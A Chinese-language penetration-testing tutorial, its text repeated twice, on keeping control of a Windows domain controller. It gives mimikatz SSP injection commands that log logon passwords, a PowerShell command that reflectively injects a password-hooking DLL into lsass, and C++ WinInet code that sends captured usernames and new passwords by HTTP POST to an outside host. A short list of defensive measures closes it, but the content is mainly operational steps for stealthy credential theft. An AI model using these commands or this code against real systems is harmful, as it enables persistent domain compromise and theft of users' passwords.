域渗透之域控权限维持
字数 1965 2025-08-03 16:47:32

域渗透之域控权限维持技术详解

前言

在域渗透过程中,获取域控制器权限往往只是开始而非终点。本文将深入探讨两种关键的域控权限维持技术:SSP(安全支持提供者)和PasswordChangeNotify Hook技术,帮助渗透测试人员实现持久化控制。

SSP技术详解

SSP基础概念

SSP(Security Support Provider)是Windows系统中用于身份验证的DLL组件,包含多种验证协议实现:

  • NTLMSSP (msv1_0.dll)
  • Kerberos (kerberos.dll)
  • NegotiateSSP (secur32.dll)
  • Secure Channel (schannel.dll)
  • TLS/SSL
  • Digest SSP (wdigest.dll)
  • CredSSP (credssp.dll)
  • DPA (msapsspc.dll)
  • PKU2U (pku2u.dll)

SSPI(Security Support Provider Interface)是SSP的API接口。

LSA(Local Security Authority)是Windows安全子系统核心组件,负责身份验证和安全策略执行,其关键进程为lsass.exe。

SSP权限维持实现

方法一:注册表注入(需重启)

  1. 将mimikatz提供的mimilib.dll复制到目标系统C:\Windows\system32\
  2. 修改注册表:
    HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages
    
    添加mimilib.dll值
  3. 重启系统后,登录凭证将记录在C:\Windows\system32\kiwissp.log

方法二:内存注入(无需重启)

使用mimikatz命令:

privilege::debug
misc::memssp

凭证将记录在C:\Windows\system32\mimilsa.log

特点对比

  • 注册表注入:持久性强但需重启
  • 内存注入:无需重启但系统重启后失效

PasswordChangeNotify Hook技术

技术原理

PasswordChangeNotify是Windows提供的API,在密码修改时被LSA调用。通过Hook此函数可以:

  1. 重定向执行流到自定义函数
  2. 在自定义函数中捕获密码
  3. 恢复原始执行流

技术实现步骤

  1. 编译Hook DLL

    • 使用VS编译HookPasswordChange项目
    • 设置"MFC的使用"为"在静态库中使用MFC"
  2. DLL注入

    • 使用PowerShell反射注入:
    Set-ExecutionPolicy bypass
    Import-Module .\Invoke-ReflectivePEInjection.ps1
    Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
    
    • 注意DLL位数需与目标系统匹配
  3. 密码捕获

    • 修改密码后,凭证存储在C:\Windows\Temp\passwords.txt
    • 可自定义存储位置和格式

高级定制:HTTP发送密码

修改HookPasswordChange.cpp,添加网络传输功能:

#include <WinInet.h>

// 在PasswordChangeNotify函数中添加:
HINTERNET hInternet = InternetOpen(L"Mozilla/4.0...", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
HINTERNET hSession = InternetConnect(hInternet, L"192.168.1.1", 80, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
HINTERNET hReq = HttpOpenRequest(hSession, L"POST", L"/", NULL, NULL, NULL, 0, 0);
InternetSetOption(hSession, INTERNET_OPTION_USERNAME, UserName->Buffer, UserName->Length/2);
InternetSetOption(hSession, INTERNET_OPTION_PASSWORD, NewPassword->Buffer, NewPassword->Length/2);
HttpSendRequest(hReq, NULL, 0, pBuf, strlen(pBuf));

技术对比与选择

特性 SSP注册表注入 SSP内存注入 PasswordChangeNotify Hook
是否需要重启
持久性
隐蔽性
实现复杂度
捕获密码类型 登录密码 登录密码 修改密码

推荐场景

  • 长期控制:SSP注册表注入
  • 短期隐蔽:PasswordChangeNotify Hook
  • 应急获取:SSP内存注入

防御建议

  1. 监控lsass.exe的异常DLL加载
  2. 审计注册表中Security Packages项变更
  3. 限制对lsass进程的访问权限
  4. 启用LSA保护(RunAsPPL)
  5. 监控PowerShell的反射注入行为

参考资源

  1. Microsoft PasswordChangeNotify文档
  2. Mimikatz SSP实现
  3. HookPasswordChange项目
  4. 反射注入PowerShell脚本

通过掌握这些技术,安全人员可以更好地理解攻击者的持久化手段,从而构建更完善的防御体系。

域渗透之域控权限维持技术详解 前言 在域渗透过程中,获取域控制器权限往往只是开始而非终点。本文将深入探讨两种关键的域控权限维持技术:SSP(安全支持提供者)和PasswordChangeNotify Hook技术,帮助渗透测试人员实现持久化控制。 SSP技术详解 SSP基础概念 SSP (Security Support Provider)是Windows系统中用于身份验证的DLL组件,包含多种验证协议实现: NTLMSSP (msv1_ 0.dll) Kerberos (kerberos.dll) NegotiateSSP (secur32.dll) Secure Channel (schannel.dll) TLS/SSL Digest SSP (wdigest.dll) CredSSP (credssp.dll) DPA (msapsspc.dll) PKU2U (pku2u.dll) SSPI (Security Support Provider Interface)是SSP的API接口。 LSA (Local Security Authority)是Windows安全子系统核心组件,负责身份验证和安全策略执行,其关键进程为lsass.exe。 SSP权限维持实现 方法一:注册表注入(需重启) 将mimikatz提供的mimilib.dll复制到目标系统 C:\Windows\system32\ 修改注册表: 添加mimilib.dll值 重启系统后,登录凭证将记录在 C:\Windows\system32\kiwissp.log 方法二:内存注入(无需重启) 使用mimikatz命令: 凭证将记录在 C:\Windows\system32\mimilsa.log 特点对比 : 注册表注入:持久性强但需重启 内存注入:无需重启但系统重启后失效 PasswordChangeNotify Hook技术 技术原理 PasswordChangeNotify是Windows提供的API,在密码修改时被LSA调用。通过Hook此函数可以: 重定向执行流到自定义函数 在自定义函数中捕获密码 恢复原始执行流 技术实现步骤 编译Hook DLL : 使用VS编译HookPasswordChange项目 设置"MFC的使用"为"在静态库中使用MFC" DLL注入 : 使用PowerShell反射注入: 注意DLL位数需与目标系统匹配 密码捕获 : 修改密码后,凭证存储在 C:\Windows\Temp\passwords.txt 可自定义存储位置和格式 高级定制:HTTP发送密码 修改HookPasswordChange.cpp,添加网络传输功能: 技术对比与选择 | 特性 | SSP注册表注入 | SSP内存注入 | PasswordChangeNotify Hook | |---------------------|--------------|-------------|---------------------------| | 是否需要重启 | 是 | 否 | 否 | | 持久性 | 高 | 低 | 中 | | 隐蔽性 | 低 | 中 | 高 | | 实现复杂度 | 低 | 低 | 中 | | 捕获密码类型 | 登录密码 | 登录密码 | 修改密码 | 推荐场景 : 长期控制:SSP注册表注入 短期隐蔽:PasswordChangeNotify Hook 应急获取:SSP内存注入 防御建议 监控lsass.exe的异常DLL加载 审计注册表中Security Packages项变更 限制对lsass进程的访问权限 启用LSA保护(RunAsPPL) 监控PowerShell的反射注入行为 参考资源 Microsoft PasswordChangeNotify文档 Mimikatz SSP实现 HookPasswordChange项目 反射注入PowerShell脚本 通过掌握这些技术,安全人员可以更好地理解攻击者的持久化手段,从而构建更完善的防御体系。